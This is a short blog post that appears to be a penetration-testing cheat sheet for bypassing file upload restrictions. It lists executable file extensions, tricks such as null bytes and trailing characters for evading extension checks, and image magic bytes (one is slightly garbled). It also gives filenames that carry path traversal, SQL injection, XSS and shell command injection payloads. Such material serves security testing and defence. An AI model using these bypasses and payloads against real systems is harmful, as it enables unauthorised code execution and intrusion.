File upload bypass

 File Upload General Methodology:-

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws
Bypass file extensions checks:-

Try adding special characters at the end.

You could use Burp to bruteforce all the

ascii and Unicode characters. (Note that

you can also try to use the previously

motioned extensions)

  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
Magic Header Bytes:-
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
From File upload to other vulnerabilities:-
  • Set filename to ../../../tmp/lol.png and try to achieve a path traversal
  • Set filename to sleep(10)-- -.jpg and you may be able to achieve a SQL injection
  • Set filename to <svg onload=alert(document.domain)> to achieve a XSS
  • Set filename to ; sleep 10; to test some command injection


Comments

Popular posts from this blog

How to decrypt message with CryptoJS AES

libcurl (curl-impersonate) bindings for Node.js